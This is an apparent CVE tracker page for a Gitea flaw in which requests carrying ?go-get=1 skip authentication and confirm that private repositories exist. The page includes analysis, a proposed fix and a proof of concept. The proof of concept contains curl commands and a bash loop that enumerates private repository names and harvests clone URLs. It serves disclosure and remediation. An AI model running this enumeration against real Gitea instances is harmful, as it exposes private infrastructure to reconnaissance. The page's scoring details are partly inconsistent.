CVE-2026-58507

MEDIUMPre-NVD 5.35.3
EchelonGraph scoreLOW confidence

This medium-severity CVE scores 5.3 under the CNA's CVSS (NVD's own analysis pending). EPSS exploit-prediction score not yet available (the EPSS model rescores nightly; freshly-published CVEs typically appear within 48 hours). GitHub Security Advisory data not yet ingested — confidence will rise once GHSA publishes (typical lag: hours to days for open-source ecosystem CVEs; never for infrastructure-only CVEs).

Triggered by: NVD CVSS baseline
Sources: cna:github_m
5.3EG
EchelonGraph verdictMonitorLow exploitation likelihood right now — keep watching.
  • Lower severity and no public exploit yet
CISA-KEV: Not listedEPSS PROB: CVSS: 5.3Exploit: None knownExposed: 0

No vendor fix yet — apply a workaround or compensating control (WAF / firewall / segmentation) and watch for a patch.

Gitea: Private Repository Existence Disclosure via go-get Meta Endpoint

| Field | Value | |-------|-------| | Affected File | routers/web/repo/githttp.go, services/context/repo.go | | Affected Functions | httpBase(), EarlyResponseForGoGetMeta() | | Affected Lines | githttp.go:63–66, services/context/repo.go:374–396 | | Prerequisite | None — fully unauthenticated |


Description

Gitea implements a special behavior for requests containing the ?go-get=1 query parameter. This parameter is sent by the Go toolchain (go get, go install) to discover VCS metadata for module imports. When Gitea detects this parameter in the HTTP request path for a repository, it bypasses the normal authentication and authorization stack and returns an HTTP 200 response containing ` and tags — regardless of whether:

  • The repository is private
  • The requesting user is authenticated
  • The requesting user has any permission on the repository

The entry point is routers/web/repo/githttp.go:63–66:

func httpBase(ctx *context.Context, optGitService ...string) *serviceHandler {
    reponame := strings.TrimSuffix(ctx.PathParam("reponame"), ".git")

if ctx.FormString("go-get") == "1" { context.EarlyResponseForGoGetMeta(ctx) return nil // ← returns before any auth or permission check } ...

The EarlyResponseForGoGetMeta function (services/context/repo.go:379–396) is called unconditionally, and the function's own docstring documents the intended behavior:

// EarlyResponseForGoGetMeta responses appropriate go-get meta with status 200
// if user does not have actual access to the requested repository,
// or the owner or repository does not exist at all.
// This is particular a workaround for "go get" command which does not respect
// .netrc file.
func EarlyResponseForGoGetMeta(ctx *Context) {
    username := ctx.PathParam("username")
    reponame := strings.TrimSuffix(ctx.PathParam("reponame"), ".git")
    ...
    ctx.PlainText(http.StatusOK, htmlMeta)   // ← HTTP 200, no auth check
}

The function also appears at services/context/repo.go:444, 516, 571 — all repository-scoped route handlers that check ?go-get=1 and call EarlyResponseForGoGetMeta before performing any permission verification.

The metadata returned includes:

  • The full repository name and owner — confirming the repository exists
  • The HTTP clone URL — a fully-formed URL pointing to the repository
  • The source browsing URL templates — which may reveal the default branch name

This allows an unauthenticated attacker to:

  • Confirm existence of any private repository by name
  • Enumerate private repository names through brute-force without triggering authentication failures
  • Harvest clone URLs and default branch names of private repositories


Proof of Concept

Step 1 — Identify a private repository

Any private repository works. For this demonstration, admin/classified-internal is set to private:


Step 2 — Confirm access is denied without authentication

Standard requests to a private repository correctly return 404 for unauthenticated users.


Step 3 — Bypass using go-get parameter

curl -s "http://localhost:3000/admin/classified-internal?go-get=1"

Actual response (HTTP 200):

<!doctype html>

go get --insecure localhost:3000/admin/classified-internal

The response:

  • Returns HTTP 200 (not 404) — confirming the repository exists
  • Reveals the full clone URL: http://localhost:3000/admin/classified-internal.git
  • Reveals the default branch name: main
  • Reveals the owner username: admin

This same response is returned whether or not the repository exists — the comment in EarlyResponseForGoGetMeta states it responds identically for both — however in practice, the clone URL generated will be functionally different (a real clone attempt against a non-existent repo fails, while one against a private repo fails only at authentication). An attacker can differentiate using response timing or by attempting git ls-remote.


Step 4 — Enumerate private repositories at scale

# Enumerate private repos by guessing common names
for name in internal deploy secrets infra api-keys prod-config db-creds; do
  response=$(curl -s "http://localhost:3000/admin/${name}?go-get=1")
  if echo "$response" | grep -q "go-import"; then
    clone_url=$(echo "$response" | grep -oP 'git http://\K[^ "]+')
    echo "[FOUND] admin/${name} → clone: http://${clone_url}"
  fi
done


Step 5 — Verify the same applies to the main web router

The vulnerability also exists via the standard web router for repository pages:

# Works on any repo-scoped URL
curl -s "http://localhost:3000/admin/classified-internal/releases?go-get=1" | grep "go-import"
curl -s "http://localhost:3000/admin/classified-internal/issues?go-get=1"   | grep "go-import"

All return HTTP 200 with the metadata.


Impact Analysis

Direct impact:

| What is leaked | Sensitivity | |----------------|-------------| | Repository exists | Confirms presence of private infrastructure code, internal tooling, unreleased products | | Owner / organization name | Reveals organizational structure | | Clone URL | Provides a direct endpoint for credential-stuffing attacks against git HTTP endpoint | | Default branch name | Reduces brute-force surface for subsequent attacks |


Root Cause Analysis

The bypass was introduced intentionally as a workaround for the Go toolchain's limitation of not reading .netrc credentials before deciding whether a module is accessible. The Go go get command probes the VCS endpoint without credentials first; if it gets a 404, it treats the module as non-existent and fails immediately without prompting for credentials.

The workaround — returning metadata unconditionally — was the path of least resistance for enabling private module imports. The unintended consequence is that it creates an unauthenticated information disclosure endpoint for every repository in the instance.


Recommended Fix

The fix requires differentiating between requests that carry authentication credentials and those that do not, before calling EarlyResponseForGoGetMeta`.

// routers/web/repo/githttp.go:63–66 — proposed fix

if ctx.FormString("go-get") == "1" { // For public repos, always respond to support the go toolchain if repo != nil && !repo.IsPrivate { context.EarlyResponseForGoGetMeta(ctx) return nil } // For private repos, only respond if the user is authenticated // and has at least read access if ctx.IsSigned { if perm, err := access_model.GetDoerRepoPermission(ctx, repo, ctx.Doer); err == nil { if perm.CanRead(unit.TypeCode) { context.EarlyResponseForGoGetMeta(ctx) return nil } } } // Unauthenticated request for a private repo — return 404 consistent // with normal behavior; the go toolchain will prompt for credentials ctx.PlainText(http.StatusNotFound, "Repository not found") return nil }

This approach preserves the go-get functionality for public repositories while protecting private ones. The Go toolchain will fall back to prompting for credentials when it receives a 404, which is the correct behavior for private module imports.


CVSS v3
5.3
EG Score
5.3(low)
EG Risk
28(Track)
EG Risk 28/100SSVC: Track

EG Risk is EchelonGraph's 0–100 priority score: it fuses intrinsic severity with real-world exploitation and automatability so you can rank equal-severity CVEs and fix the most dangerous first. Higher = act sooner. Distinct from the 0–10 EG Score (severity).

How it’s computed
Severity53% × 45%
Exploitation0% × 40%
Automatability30% × 15%
Action: Routine — remediate on your standard cadence.
EPSS PROB
EPSS %ILE
KEV
Not listed

Published

July 21, 2026

Last Modified

July 21, 2026

Vendor Advisories for CVE-2026-58507(1)

These vendors published their own advisory mentioning this CVE — often with vendor-specific remediation steps + affected product lists not in NVD.

Affected Packages

(1 across 1 ecosystem)
Go(1)
PackageVulnerable rangeFixed inDependents
code.gitea.io/gitea1.27.0

Data Freshness Timeline

(refreshed 2× in last 7d / 2× in last 30d)

Each row is a source pipeline that fetched or updated this CVE on that date, with what changed. For example, "NVD update" means NVD published or revised its analysis for this CVE; "MITRE cvelistV5" means we ingested or refreshed it from the CNA feed. Most recent first.

  1. 2026-07-23 03:21 UTCEG score recompute
  2. 2026-07-21 21:20 UTCEG score recompute

Frequently asked(4)

What is CVE-2026-58507?
CVE-2026-58507 is a medium vulnerability published on July 21, 2026. Gitea: Private Repository Existence Disclosure via go-get Meta Endpoint | Field | Value | |-------|-------| | Affected File | routers/web/repo/githttp.go, services/context/repo.go | | Affected Functions | httpBase(), EarlyResponseForGoGetMeta() | | Affected Lines | githttp.go:63–66,…
When was CVE-2026-58507 disclosed?
CVE-2026-58507 was first published in the National Vulnerability Database on July 21, 2026. EchelonGraph re-ingests CVE updates from NVD on a 2-hour cycle, so this page reflects the latest published state.
What is the CVSS score of CVE-2026-58507?
CVE-2026-58507 has a CVSS v4.0 base score of 5.3 (CNA self-assessment; NVD's own analysis pending). The EG score is currently aggregating — additional source signals are being incorporated as they become available..
How do I remediate CVE-2026-58507?
Patch to the fixed version published by the affected vendor. Where vendor advisories exist for CVE-2026-58507, EchelonGraph cross-links them in the Vendor Advisories panel below — those typically contain the canonical remediation steps, fixed version numbers, and any vendor-specific mitigations.

Dependency Blast Radius

See which npm, PyPI, Go, and Maven packages are affected by CVE-2026-58507

Explore →

Is Your Infrastructure Affected by CVE-2026-58507?

EchelonGraph automatically scans your cloud infrastructure and maps CVE exposure using blast radius analysis.